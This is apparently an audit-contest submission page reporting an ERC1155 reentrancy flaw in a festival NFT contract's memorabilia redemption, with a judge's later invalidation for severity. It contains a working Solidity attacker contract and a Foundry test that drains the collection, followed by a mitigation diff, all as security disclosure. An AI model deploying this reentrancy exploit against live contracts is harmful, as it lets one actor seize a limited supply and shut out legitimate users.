Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: low
Likelihood: medium
Invalid

A malicious contract can monopolize all memorabilia in a single transaction via ERC1155 reentrancy

Root + Impact

Description

  • When a user calls redeemMemorabilia, the contract:

    • Checks the collection is active and not sold out.

    • Burns the caller’s BEAT tokens as payment.

    • Mints a unique memorabilia NFT to the user.

    • Emits a MemorabiliaRedeemed event.

  • Due to the ERC1155 standard, minting to a smart contract address triggers the recipient’s onERC1155Received hook.
    If the recipient is malicious, this hook can immediately re-enter redeemMemorabilia before the first call finishes, repeatedly minting new NFTs within a single transaction until the collection is exhausted

Why this works:

  • The burnFrom is executed before mint, so the attacker must spend the correct priceInBeat for every loop iteration.

  • However, an attacker with enough BEAT can drain the entire memorabilia supply atomically.

  • Legitimate users are locked out because the entire supply is consumed before they can transact

function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat); // ✅ burn happens first, which adds extra security
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, ""); // @> untrusted external call: triggers onERC1155Received
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}

Risk

Likelihood:

  • Any user with enough BEAT can deploy a malicious receiver contract.

  • The attacker does not need privileged access.

  • The hoarding can happen atomically within one block.

Impact:

  • The entire memorabilia collection can be fully redeemed by a single actor.

  • This violates the fairness of distribution.

  • It results in a denial-of-service for legitimate festival attendees who cannot get memorabilia.

Proof of Concept

  1. An attacker deploys a malicious contract that re-enters when onERC1155Received is called

  2. the contract has accumulated or has received BEAT tokens over time

  3. The attacker performs the attack

Paste this function in your FestivalPass.sol contract, to know what's really going on behind the scene

// Use this getter function in your FestivalPass.sol contract
function getCollections(uint256 collectionId) external view returns (string memory name, string memory baseUri, uint256 priceInBeat, uint256 maxSupply, uint256 currentItemId, bool isActive) {
MemorabiliaCollection storage collection = collections[collectionId];
return (
collection.name,
collection.baseUri,
collection.priceInBeat,
collection.maxSupply,
collection.currentItemId,
collection.isActive
);
}

Paste in your FestivalPassTest.t.sol file or create a separate contract and inherit it in the test

// An attacker deploys a malicious contract that handles onERC1155Received
contract MaliciousReceiver is IERC1155Receiver {
FestivalPass public festival;
uint256 public collectionId;
constructor(address _festival, uint256 _collectionId) {
festival = FestivalPass(_festival);
collectionId = _collectionId;
}
function startAttack(uint256 times) external {
// Kick off first call
festival.redeemMemorabilia(collectionId);
}
function onERC1155Received(
address, address, uint256, uint256, bytes calldata
) external override returns (bytes4) {
// Re-enter during mint callback
(
,
,
,
uint256 maxSupply,
uint256 currentItemId,
) = festival.getCollections(collectionId);
if (currentItemId < maxSupply) {
festival.redeemMemorabilia(collectionId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return true;
}
}

Paste this in your FestivalPassTest.t.sol contract

function test_MaliciousRecieverRedeemsAllMemorabilia() public {
// Organizer creates a memorabilia collection
vm.startPrank(organizer);
uint256 collectionId = festivalPass.createMemorabiliaCollection(
"Golden Hats",
"ipfs://QmGoldenHats",
500e18,
10,
true
);
vm.stopPrank();
// Attacker deploys a malicious receiver contract
// This contract will try to redeem all items in the collection
vm.startPrank(attacker);
MaliciousReceiver maliciousReceiver = new MaliciousReceiver(address(festivalPass), collectionId);
vm.stopPrank();
// assuming the malicious receiver has accumulated enough BEAT tokens over time
vm.startPrank(address(festivalPass));
beatToken.mint(address(maliciousReceiver), 100000e18);
vm.stopPrank();
// The attacker starts the attack by calling redeemMemorabilia
vm.startPrank(attacker);
maliciousReceiver.startAttack(10); // Start attack to redeem all items
vm.stopPrank();
// The malicious receiver will keep calling redeemMemorabilia until all items are redeemed
// This simulates a re-entrancy attack where the receiver keeps calling the redeem function
// until the collection is exhausted.
(
,
,
,
,
uint256 currentItemId,
) = festivalPass.getCollections(collectionId);
assertEq(currentItemId, 10); // Should have redeemed all 10 items
}

Recommended Mitigation

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass, ReentrancyGuard { ... }
+ mapping(address=>bool) public hasClaimed;
- function redeemMemorabilia(uint256 collectionId) external {
+ function redeemMemorabilia(uint256 collectionId) external nonReentrant {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
+ require(!hasClaimed[msg.sender], "This address claimed already")
// Burn BEAT tokens
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// Generate unique token ID
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
// Store edition number
tokenIdToEdition[tokenId] = itemId;
+ hasClaimed[msg.sender]= true;
// Mint the unique NFT
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Appeal created

4nescient Auditor
30 days ago
inallhonesty Lead Judge
29 days ago
inallhonesty Lead Judge 28 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.